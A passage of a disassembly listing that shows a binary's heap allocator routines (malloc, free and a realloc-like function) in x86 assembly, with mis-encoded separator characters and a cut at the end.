; CODE XREF: malloc+1E2j cmp [ebp+var_14], 1FFh ja short loc_805BFAC mov edx, [ebp+var_14] shr edx, 3 mov eax, edx jns short loc_805BF7A lea eax, [edx+3] loc_805BF7A: ; CODE XREF: malloc+201j sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov eax, edi or dword_8078B34, eax lea esi, ds:8078B34h[edx*8] mov ecx, [esi+4] mov [ebp+var_10], ecx mov [ebx+8], esi mov [ebx+4], ecx mov [esi+4], ebx mov [ecx+8], ebx jmp loc_805C087 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFAC: ; CODE XREF: malloc+1F7j mov eax, [ebp+var_14] shr eax, 9 jnz short loc_805BFBC mov edx, [ebp+var_14] shr edx, 3 jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFBC: ; CODE XREF: malloc+23Ej mov eax, [ebp+var_14] shr eax, 9 cmp eax, 4 ja short loc_805BFD4 mov edx, [ebp+var_14] shr edx, 6 add edx, 38h jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFD4: ; CODE XREF: malloc+251j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 14h ja short loc_805BFE4 lea edx, [eax+5Bh] jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFE4: ; CODE XREF: malloc+269j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 54h ja short loc_805BFFC mov edx, [ebp+var_14] shr edx, 0Ch add edx, 6Eh jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFFC: ; CODE XREF: malloc+279j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 154h ja short loc_805C014 mov edx, [ebp+var_14] shr edx, 0Fh add edx, 77h jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C014: ; CODE XREF: malloc+293j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 554h ja short loc_805C02C mov edx, [ebp+var_14] shr edx, 12h add edx, 7Ch jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C02C: ; CODE XREF: malloc+2ABj mov edx, 7Eh loc_805C031: ; CODE XREF: malloc+246j malloc+25Cj ... lea esi, ds:8078B34h[edx*8] mov edi, [esi+4] mov [ebp+var_10], edi cmp edi, esi jnz short loc_805C05C mov eax, edx sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov eax, edi or dword_8078B34, eax jmp short loc_805C078 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C05C: ; CODE XREF: malloc+2CCj malloc+2FCj mov ecx, [ebp+var_10] mov eax, [ecx] and al, 0FCh cmp [ebp+var_14], eax jnb short loc_805C072 mov edi, [ecx+4] mov [ebp+var_10], edi cmp edi, esi jnz short loc_805C05C loc_805C072: ; CODE XREF: malloc+2F2j mov ecx, [ebp+var_10] mov esi, [ecx+8] loc_805C078: ; CODE XREF: malloc+2E4j mov [ebx+8], esi mov edi, [ebp+var_10] mov [ebx+4], edi mov [esi+4], ebx mov [edi+8], ebx loc_805C087: ; CODE XREF: malloc+17Dj malloc+233j mov eax, [ebp+var_4] test eax, eax jge short loc_805C091 add eax, 3 loc_805C091: ; CODE XREF: malloc+318j sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov [ebp+var_10], edi cmp dword_8078B34, edi jb loc_805C198 test dword_8078B34, edi jnz short loc_805C0E0 and [ebp+var_4], 0FFFFFFFCh add [ebp+var_4], 4 add edi, edi mov [ebp+var_10], edi test dword_8078B34, edi jnz short loc_805C0E0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_805C0CC: ; CODE XREF: malloc+369j add [ebp+var_4], 4 shl [ebp+var_10], 1 mov ecx, [ebp+var_10] test dword_8078B34, ecx jz short loc_805C0CC nop loc_805C0E0: ; CODE XREF: malloc+33Ej malloc+353j ... mov esi, [ebp+var_4] lea eax, ds:0[esi*8] lea esi, [esi] loc_805C0EC: ; CODE XREF: malloc+3C1j lea edi, dword_8078B34[eax] mov [ebp+var_8], edi mov ebx, dword_8078B3C[eax] cmp ebx, edi jz short loc_805C126 nop loc_805C100: ; CODE XREF: malloc+3B0j mov ecx, [ebx] and cl, 0FCh mov [ebp+var_14], ecx mov edx, ecx sub edx, [ebp+var_C] cmp edx, 0Fh jg loc_805C208 test edx, edx jge loc_805C24C mov ebx, [ebx+8] cmp [ebp+var_8], ebx jnz short loc_805C100 loc_805C126: ; CODE XREF: malloc+389j add eax, 8 inc [ebp+var_4] mov edi, [ebp+var_4] test edi, 3 jnz short loc_805C0EC jmp short loc_805C14D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C13C: ; CODE XREF: malloc+3DFj dec esi lea eax, ds:8078B34h[esi*8] cmp dword_8078B38[esi*8], eax jnz short loc_805C160 loc_805C14D: ; CODE XREF: malloc+3C3j test esi, 3 jnz short loc_805C13C mov eax, [ebp+var_10] not eax and dword_8078B34, eax loc_805C160: ; CODE XREF: malloc+3D7j shl [ebp+var_10], 1 mov ecx, [ebp+var_10] cmp dword_8078B34, ecx jb short loc_805C198 test ecx, ecx jz short loc_805C198 test dword_8078B34, ecx jnz loc_805C0E0 nop loc_805C180: ; CODE XREF: malloc+41Dj add [ebp+var_4], 4 shl [ebp+var_10], 1 mov edi, [ebp+var_10] test dword_8078B34, edi jz short loc_805C180 jmp loc_805C0E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C198: ; CODE XREF: malloc+332j malloc+3F9j ... mov eax, dword_8078B38 mov edx, [eax] and dl, 0FCh sub edx, [ebp+var_C] cmp edx, 0Fh jg loc_805C264 mov ecx, [ebp+var_C] cmp dword_8078F48, ecx ja short loc_805C1CC push ecx call sub_805BA88 mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805C281 loc_805C1CC: ; CODE XREF: malloc+443j mov edi, [ebp+var_C] push edi call sub_805BBF4 mov eax, dword_8078B38 mov edx, [eax] and dl, 0FCh sub edx, edi cmp edx, 0Fh jg short loc_805C264 xor eax, eax jmp loc_805C284 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C1F0: ; CODE XREF: malloc+160j mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 jmp short loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C208: ; CODE XREF: malloc+39Cj mov eax, [ebp+var_C] add eax, ebx mov ecx, [ebp+var_C] or cl, 1 mov [ebx], ecx mov esi, [ebx+8] mov edi, [ebx+4] mov [ebp+var_10], edi mov [edi+8], esi mov [esi+4], edi mov dword_8078B44, eax mov dword_8078B40, eax mov dword ptr [eax+8], offset dword_8078B3C mov dword ptr [eax+4], offset dword_8078B3C mov ecx, edx or cl, 1 mov [eax], ecx mov [edx+eax-4], edx jmp short loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C24C: ; CODE XREF: malloc+3A4j mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx jmp short loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C264: ; CODE XREF: malloc+434j malloc+470j mov ebx, dword_8078B38 mov edi, [ebp+var_C] or edi, 1 mov [ebx], edi mov eax, [ebp+var_C] add eax, ebx mov dword_8078B38, eax or dl, 1 mov [eax], edx loc_805C281: ; CODE XREF: malloc+78j malloc+1C5j ... lea eax, [ebx+4] loc_805C284: ; CODE XREF: malloc+474j lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn malloc endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden free proc near ; CODE XREF: send_packet+17Bp ; send_packet+18Ep ... var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov eax, [ebp+arg_0] test eax, eax jz loc_805C4ED lea edi, [eax-4] mov eax, [eax-4] test al, 2 jz short loc_805C2BC push edi call sub_805BB34 jmp loc_805C4ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C2BC: ; CODE XREF: free+1Cj mov esi, eax and esi, 0FFFFFFFEh lea ecx, [esi+edi] mov [ebp+var_C], ecx mov ebx, [ecx] and bl, 0FCh mov [ebp+var_4], ebx cmp dword_8078B38, ecx jnz short loc_805C31C add esi, ebx test al, 1 jnz short loc_805C2F3 mov eax, [edi-4] sub edi, eax add esi, eax mov ecx, [edi+8] mov [ebp+var_10], ecx mov edx, [edi+4] mov [edx+8], ecx mov [ecx+4], edx loc_805C2F3: ; CODE XREF: free+4Bj mov ebx, esi or bl, 1 mov [edi], ebx mov dword_8078B38, edi cmp dword_8078F3C, esi ja loc_805C4ED mov eax, dword_8078F40 push eax call sub_805C944 jmp loc_805C4ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C31C: ; CODE XREF: free+45j mov ecx, [ebp+var_4] mov ebx, [ebp+var_C] mov [ebx], ecx mov [ebp+var_8], 0 test al, 1 jnz short loc_805C357 mov eax, [edi-4] sub edi, eax add esi, eax cmp dword ptr [edi+4], offset dword_8078B3C jnz short loc_805C348 mov [ebp+var_8], 1 jmp short loc_805C357 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C348: ; CODE XREF: free+ADj mov ecx, [edi+8] mov [ebp+var_10], ecx mov edx, [edi+4] mov [edx+8], ecx mov [ecx+4], edx loc_805C357: ; CODE XREF: free+9Dj free+B6j mov ebx, [ebp+var_C] mov ecx, [ebp+var_4] test byte ptr [ecx+ebx], 1 jnz short loc_805C3AD add esi, ecx cmp [ebp+var_8], 0 jnz short loc_805C398 cmp dword ptr [ebx+4], offset dword_8078B3C jnz short loc_805C398 mov [ebp+var_8], 1 mov dword_8078B44, edi mov dword_8078B40, edi mov dword ptr [edi+8], offset dword_8078B3C mov dword ptr [edi+4], offset dword_8078B3C jmp short loc_805C3AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C398: ; CODE XREF: free+D9j free+E2j mov ebx, [ebp+var_C] mov ebx, [ebx+8] mov [ebp+var_10], ebx mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [edx+8], ebx mov [ebx+4], edx loc_805C3AD: ; CODE XREF: free+D1j free+105j mov ebx, esi or bl, 1 mov [edi], ebx mov [esi+edi-4], esi cmp [ebp+var_8], 0 jnz loc_805C4ED cmp esi, 1FFh ja short loc_805C404 shr esi, 3 mov [ebp+var_C], esi mov eax, [ebp+var_C] test eax, eax jge short loc_805C3DA add eax, 3 loc_805C3DA: ; CODE XREF: free+145j sar eax, 2 mov ebx, 1 mov ecx, eax shl ebx, cl mov eax, ebx or dword_8078B34, eax mov ecx, [ebp+var_C] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_10], ecx mov edx, [ecx+4] jmp loc_805C4E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C404: ; CODE XREF: free+138j mov eax, esi shr eax, 9 jnz short loc_805C418 mov ebx, esi shr ebx, 3 mov [ebp+var_C], ebx jmp loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C418: ; CODE XREF: free+179j mov eax, esi shr eax, 9 cmp eax, 4 ja short loc_805C430 mov ecx, esi shr ecx, 6 add ecx, 38h mov [ebp+var_C], ecx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C430: ; CODE XREF: free+190j mov eax, esi shr eax, 9 cmp eax, 14h ja short loc_805C444 add eax, 5Bh mov [ebp+var_C], eax jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C444: ; CODE XREF: free+1A8j mov eax, esi shr eax, 9 cmp eax, 54h ja short loc_805C45C mov ebx, esi shr ebx, 0Ch add ebx, 6Eh mov [ebp+var_C], ebx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C45C: ; CODE XREF: free+1BCj mov eax, esi shr eax, 9 cmp eax, 154h ja short loc_805C478 mov ecx, esi shr ecx, 0Fh add ecx, 77h mov [ebp+var_C], ecx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C478: ; CODE XREF: free+1D6j mov eax, esi shr eax, 9 cmp eax, 554h ja short loc_805C494 mov ebx, esi shr ebx, 12h add ebx, 7Ch mov [ebp+var_C], ebx jmp short loc_805C49B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C494: ; CODE XREF: free+1F2j mov [ebp+var_C], 7Eh loc_805C49B: ; CODE XREF: free+183j free+19Dj ... mov ecx, [ebp+var_C] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_10], ecx mov edx, [ecx+4] cmp edx, ecx jnz short loc_805C4C8 mov eax, [ebp+var_C] mov ecx, eax sar ecx, 2 mov eax, 1 shl eax, cl or dword_8078B34, eax jmp short loc_805C4DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C4C8: ; CODE XREF: free+21Dj free+246j mov eax, [edx] and al, 0FCh cmp esi, eax jnb short loc_805C4D8 mov edx, [edx+4] cmp [ebp+var_10], edx jnz short loc_805C4C8 loc_805C4D8: ; CODE XREF: free+23Ej mov ebx, [edx+8] mov [ebp+var_10], ebx loc_805C4DE: ; CODE XREF: free+234j mov ecx, [ebp+var_10] loc_805C4E1: ; CODE XREF: free+16Ej mov [edi+8], ecx mov [edi+4], edx mov [ecx+4], edi mov [edx+8], edi loc_805C4ED: ; CODE XREF: free+Ej free+24j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn free endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C4F8 proc near var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx cmp [ebp+arg_0], 0 jnz short loc_805C518 mov edx, [ebp+arg_4] push edx call malloc jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C518: ; CODE XREF: sub_805C4F8+Dj mov esi, [ebp+arg_0] add esi, 0FFFFFFFCh mov [ebp+var_8], esi mov edi, [ebp+arg_0] mov edi, [edi-4] and edi, 0FFFFFFFCh mov [ebp+var_10], edi mov [ebp+var_C], edi cmp [ebp+arg_4], 0Bh jle short loc_805C544 mov edx, [ebp+arg_4] add edx, 0Bh and dl, 0F8h mov [ebp+var_4], edx jmp short loc_805C54B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C544: ; CODE XREF: sub_805C4F8+3Cj mov [ebp+var_4], 10h loc_805C54B: ; CODE XREF: sub_805C4F8+4Aj mov edi, [ebp+var_8] test byte ptr [edi], 2 jz short loc_805C5B8 mov edx, [ebp+var_4] push edx push edi call sub_805BB64 mov esi, eax add esp, 8 test esi, esi jnz loc_805C7CD mov edi, [ebp+var_4] cmp [ebp+var_C], edi jb short loc_805C57C mov eax, [ebp+arg_0] jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C57C: ; CODE XREF: sub_805C4F8+78j mov edx, [ebp+arg_4] push edx call malloc mov ebx, eax add esp, 4 test ebx, ebx jz loc_805C746 mov eax, [ebp+var_C] add eax, 0FFFFFFFCh push eax mov edi, [ebp+arg_0] push edi push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_8] push edx call sub_805BB34 mov eax, ebx jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C5B8: ; CODE XREF: sub_805C4F8+59j mov edi, [ebp+var_4] cmp [ebp+var_C], edi jge loc_805C78A mov ecx, [ebp+var_8] add ecx, [ebp+var_C] cmp dword_8078B38, ecx jz short loc_805C5DC mov eax, [ecx] and al, 0FEh test byte ptr [eax+ecx], 1 jnz short loc_805C64C loc_805C5DC: ; CODE XREF: sub_805C4F8+D8j mov ebx, [ecx] and bl, 0FCh cmp dword_8078B38, ecx jnz short loc_805C628 mov esi, [ebp+var_10] add esi, ebx mov eax, [ebp+var_4] add eax, 10h cmp esi, eax jl short loc_805C650 mov eax, [ebp+var_8] add eax, [ebp+var_4] mov dword_8078B38, eax sub esi, [ebp+var_4] mov edx, esi or dl, 1 mov [eax], edx mov edi, [ebp+var_8] mov eax, [edi] and eax, 1 or eax, [ebp+var_4] mov [edi], eax mov eax, [ebp+var_8] add eax, 4 jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C628: ; CODE XREF: sub_805C4F8+EFj mov edx, [ebp+var_10] add edx, ebx mov [ebp+var_14], edx mov edi, [ebp+var_4] cmp edx, edi jl short loc_805C650 mov eax, [ecx+8] mov ecx, [ecx+4] mov [ecx+8], eax mov [eax+4], ecx mov [ebp+var_10], edx jmp loc_805C78A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C64C: ; CODE XREF: sub_805C4F8+E2j xor ecx, ecx xor ebx, ebx loc_805C650: ; CODE XREF: sub_805C4F8+FEj ; sub_805C4F8+13Dj mov edx, [ebp+var_8] test byte ptr [edx], 1 jnz loc_805C734 sub edx, [edx-4] mov [ebp+var_14], edx mov esi, [edx] and esi, 0FFFFFFFCh test ecx, ecx jz loc_805C6F4 cmp dword_8078B38, ecx jnz short loc_805C6D8 lea eax, [esi+ebx] mov ebx, [ebp+var_10] add ebx, eax mov eax, [ebp+var_4] add eax, 10h cmp ebx, eax jl short loc_805C6F4 mov eax, [edx+8] mov ecx, [edx+4] mov [ecx+8], eax mov [eax+4], ecx mov esi, [ebp+var_14] mov [ebp+var_10], ebx lea ebx, [esi+4] mov eax, [ebp+var_C] add eax, 0FFFFFFFCh push eax mov edi, [ebp+arg_0] push edi push ebx call memcpy mov edx, [ebp+var_4] add edx, esi mov dword_8078B38, edx mov eax, [ebp+var_10] sub eax, [ebp+var_4] or al, 1 mov [edx], eax mov eax, [esi] and eax, 1 or eax, [ebp+var_4] mov [esi], eax mov eax, ebx jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C6D8: ; CODE XREF: sub_805C4F8+17Dj lea eax, [esi+ebx] mov ebx, [ebp+var_10] add ebx, eax cmp [ebp+var_4], ebx jg short loc_805C6F4 mov eax, [ecx+8] mov ecx, [ecx+4] mov [ecx+8], eax mov [eax+4], ecx jmp short loc_805C704 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C6F4: ; CODE XREF: sub_805C4F8+171j ; sub_805C4F8+18Fj ... cmp [ebp+var_14], 0 jz short loc_805C734 mov ebx, [ebp+var_10] add ebx, esi cmp [ebp+var_4], ebx jg short loc_805C734 loc_805C704: ; CODE XREF: sub_805C4F8+1F9j mov edi, [ebp+var_14] mov eax, [edi+8] mov ecx, [edi+4] mov [ecx+8], eax mov [eax+4], ecx mov esi, [ebp+var_14] mov [ebp+var_10], ebx lea ebx, [esi+4] mov eax, [ebp+var_C] add eax, 0FFFFFFFCh push eax mov edx, [ebp+arg_0] push edx push ebx call memcpy add esp, 0Ch jmp short loc_805C78A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C734: ; CODE XREF: sub_805C4F8+15Ej ; sub_805C4F8+200j ... mov edi, [ebp+arg_4] push edi call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805C750 loc_805C746: ; CODE XREF: sub_805C4F8+94j xor eax, eax jmp loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C750: ; CODE XREF: sub_805C4F8+24Cj lea esi, [ebx-4] mov edx, [ebp+var_8] mov eax, [edx] and al, 0FEh add eax, edx cmp esi, eax jz short loc_805C780 mov eax, [ebp+var_C] add eax, 0FFFFFFFCh push eax mov edi, [ebp+arg_0] push edi push ebx call memcpy add esp, 0Ch push edi call free mov eax, ebx jmp short loc_805C7D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C780: ; CODE XREF: sub_805C4F8+266j mov eax, [esi] and al, 0FCh add [ebp+var_10], eax mov esi, [ebp+var_8] loc_805C78A: ; CODE XREF: sub_805C4F8+C6j ; sub_805C4F8+14Ej ... mov ecx, [ebp+var_10] sub ecx, [ebp+var_4] cmp ecx, 0Fh jbe short loc_805C7BC mov eax, [ebp+var_4] add eax, esi mov edx, [esi] and edx, 1 or edx, [ebp+var_4] mov [esi], edx mov edi, ecx or edi, 1 mov [eax], edi or byte ptr [ecx+eax], 1 add eax, 4 push eax call free jmp short loc_805C7CD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C7BC: ; CODE XREF: sub_805C4F8+29Bj mov eax, [esi] and eax, 1 or eax, [ebp+var_10] mov [esi], eax mov edx, [ebp+var_10] or byte ptr [edx+esi], 1 loc_805C7CD: ; CODE XREF: sub_805C4F8+6Cj ; sub_805C4F8+2C0j lea eax, [esi+4] loc_805C7D0: ; CODE XREF: sub_805C4F8+18j ; sub_805C4F8+7Dj ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805C4F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C7DC proc near ; CODE XREF: sub_805C8EC+Cp var_10 = 